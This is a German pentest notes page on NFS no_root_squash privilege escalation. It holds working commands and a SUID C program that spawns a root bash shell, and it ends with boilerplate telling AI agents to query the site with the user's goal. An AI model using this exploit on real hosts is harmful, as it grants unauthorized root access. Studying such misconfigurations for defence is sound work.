> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/privesc/nfs-shares.md).

# NFS-Freigaben

Notizen zur Privilegienerweiterung über NFS-Freigaben für no\_root\_squash, exportierte beschreibbare Freigaben, vom Angreifer eingehängte Dateisysteme und Validierung von SUID-Payloads.

Falsch konfigurierte NFS-Exporte können eine lokale Privilegieneskalation ermöglichen, wenn eine beschreibbare Freigabe mit gefährlichen Optionen wie `no_root_squash`exportiert wird. In diesem Fall kann root auf dem Angreiferrechner Dateien auf der Freigabe anlegen, die ihre Root-Eigentümerschaft behalten, wenn sie vom Zielsystem aus darauf zugegriffen wird.

## Vorgehensweise

* NFS-Exporte vom Zielsystem und vom Angreiferrechner auflisten.
* Suche nach beschreibbaren Freigaben und gefährlichen Exportoptionen wie `no_root_squash` oder `no_all_squash`.
* Binde die Freigabe von einem Angreiferrechner aus ein und erstelle den kleinstmöglichen SUID-Proof-of-Concept, der nötig ist, um die Auswirkungen zu bestätigen.

## Schnellprüfungen

Auf dem Zielsystem:

```bash
cat /etc/exports
showmount -e localhost
grep no_root_squash /etc/exports
```

Von einem Angreiferrechner aus:

```bash
showmount -e target_ip
```

## Gefährliche Exportoptionen

| Option                 | Risiko                                                                                                     |
| ---------------------- | ---------------------------------------------------------------------------------------------------------- |
| `no_root_squash`       | Remote-root kann die Root-Eigentümerschaft an Dateien behalten, die innerhalb des Exports erstellt werden. |
| `rw`                   | Ermöglicht das Schreiben in die exportierte Freigabe.                                                      |
| `no_all_squash`        | Benutzer können ihr ursprüngliches UID/GID-Mapping behalten.                                               |
| Breite Client-Bereiche | Mehr Hosts können den Export einbinden und mit ihm interagieren.                                           |

## Ausnutzungsmuster

Auf dem Angreiferrechner:

```bash
mkdir /tmp/nfs
mount -t nfs target_ip:/shared/folder /tmp/nfs
cd /tmp/nfs
cat > privesc.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF
gcc privesc.c -o privesc
chmod +s privesc
```

Auf dem Zielsystem:

```bash
/shared/folder/privesc
```

## Hinweise zur Validierung

```bash
ls -la /shared/folder/privesc
ID
```

Wenn das Binärprogramm nicht im Besitz von root ist oder das SUID-Bit nicht erhalten bleibt, wird der Export wahrscheinlich auf root umgeleitet oder mit restriktiven Optionen eingehängt.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/privesc/nfs-shares.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
